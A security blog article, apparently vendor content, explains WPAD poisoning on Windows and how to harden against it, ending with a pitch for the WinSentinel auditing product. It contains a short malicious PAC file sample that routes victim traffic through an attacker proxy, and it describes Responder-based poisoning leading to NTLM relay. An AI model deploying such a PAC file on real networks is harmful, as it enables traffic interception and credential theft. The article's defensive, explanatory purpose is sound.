WPAD Poisoning on Windows: The Proxy Auto-Discovery Attack Hiding in Plain Sight

Most Windows endpoints will ask the network a question every time they open a browser or make an authenticated HTTP call: "Is there a proxy I should be using?" That question is Web Proxy Auto-Discovery (WPAD), and by default Windows shouts it into the void with no authentication and no cryptographic checks. Anyone who can answer first becomes the proxy — and once you are the proxy, you are the man-in-the-middle for a huge slice of that machine's traffic. It is one of the oldest and quietest ways to pivot from "I have a foothold on the LAN" to "I am reading and forging your web sessions."

How the attack actually works

When "Automatically detect settings" is enabled (it is, on stock Windows), the host tries to locate a file named wpad.dat — a JavaScript Proxy Auto-Config (PAC) file — by walking a discovery chain:

1. DHCP option 252 — the DHCP server can hand out a WPAD URL directly.
2. DNS — the host queries wpad.<yourdomain>, walking up the DNS suffix.
3. LLMNR / NBT-NS fallback — if DNS returns nothing, Windows broadcasts a name-resolution request for WPAD to the local subnet.

That last step is the gift to attackers. Tools like Responder sit on the wire, answer the LLMNR/NBT-NS broadcast for WPAD, and serve a malicious PAC file. The PAC file is just JavaScript that tells the browser which proxy to use per-URL:

function FindProxyForURL(url, host) {
  // Route everything through the attacker's box
  if (shExpMatch(host, "*.corp.internal")) return "DIRECT";
  return "PROXY 10.10.10.66:8080";
}

Now every request the victim makes flows through the attacker. Worse, fetching the PAC file and authenticating to the rogue proxy can trigger the victim to send NTLM authentication automatically — which the attacker relays onward (NTLM relay) to sign into other services as the victim, or cracks offline. WPAD poisoning is frequently the first domino in a relay chain that ends in domain compromise.

Why this still works in 2026

WPAD has been abused for over a decade, and Microsoft has shipped mitigations — yet it keeps landing on pentest reports. The reasons are depressingly consistent:

• Defaults win. "Automatically detect settings" is on by default and rarely audited across a fleet.
• LLMNR and NBT-NS are still enabled on a surprising number of networks, giving attackers the broadcast fallback even when DNS is clean.
• The wpad DNS name is often unregistered. If no legitimate wpad record exists, the name is up for grabs — and internal DNS or the broadcast fallback will happily resolve it to whoever answers.
• It is invisible to users. There is no prompt, no certificate warning for the discovery itself — the proxy is simply applied.

The single most reliable "assumed breach" finding on internal engagements is still name-resolution poisoning — LLMNR/NBT-NS/WPAD — because turning it off requires a deliberate policy, and deliberate policies are exactly what unmanaged fleets lack.

Hardening: shut the discovery chain down

You want to remove every path an attacker can answer on. In priority order:

1. Disable automatic proxy detection

Kill "Automatically detect settings" via Group Policy or the registry. If you use a proxy, configure it explicitly (a PAC URL you control, or an explicit proxy address) instead of relying on discovery:

# Per-machine WinHTTP + WinINET auto-detect off
netsh winhttp reset proxy
# Disable auto-detect (bit 0x08 in DefaultConnectionSettings), or via GPO:
#   User Config > Admin Templates > Windows Components > Internet Explorer >
#   "Disable changing Automatic Configuration settings"

2. Turn off the broadcast fallbacks

Disable LLMNR and NBT-NS fleet-wide so there is no unauthenticated name-resolution path for WPAD:

# LLMNR off (GPO): Computer Config > Admin Templates > Network >
#   DNS Client > "Turn off multicast name resolution" = Enabled
# NBT-NS off: set NetBIOS over TCP/IP to Disabled on every adapter,
#   or via DHCP option 001 microsoft-disable-netbios-option = 0x2

3. Sinkhole the name and block DHCP option 252

• Create a legitimate internal DNS record for wpad that points to a benign host you control (a Response Policy Zone entry works too). An owned name cannot be squatted.
• On modern Windows, the DNS Global Query Block List blocks wpad and isatap by default — confirm it has not been disabled.
• Ensure your DHCP servers are not handing out option 252, and that rogue DHCP is not possible on the segment.

Auditing it — one machine and a whole fleet

Configuration drift is the enemy here: one re-imaged laptop with defaults restored reopens the door. WinSentinel audits the full WPAD exposure surface as part of its network and name-resolution checks — automatic proxy detection state, LLMNR and NBT-NS status per adapter, and whether the host is exposed to the broadcast fallback — and rolls it into your security score with concrete remediation steps. Every one of the 33 modules runs at full power on a single machine for free; nothing about this audit is gated.

Where centralized management earns its keep is scale. On a Pro fleet, the central node collects each endpoint's WPAD and name-resolution posture, produces a compliance rollup across every machine, and raises a drift alert the moment a node regresses — say, a freshly imaged box that came back with "Automatically detect settings" re-enabled. Instead of hoping every admin remembers the LLMNR GPO, you get a single pane that flags the one machine that slipped, so the LAN never quietly grows a new man-in-the-middle foothold.

The takeaway

WPAD is a convenience feature that trades security for the ability to auto-configure proxies — a trade almost no modern network actually needs. Disable auto-detection, kill LLMNR and NBT-NS, own the wpad name, and then keep verifying that state across every endpoint. The attack is trivial to run and trivial to prevent; the only hard part is making sure the prevention stays true on all of your machines, all of the time.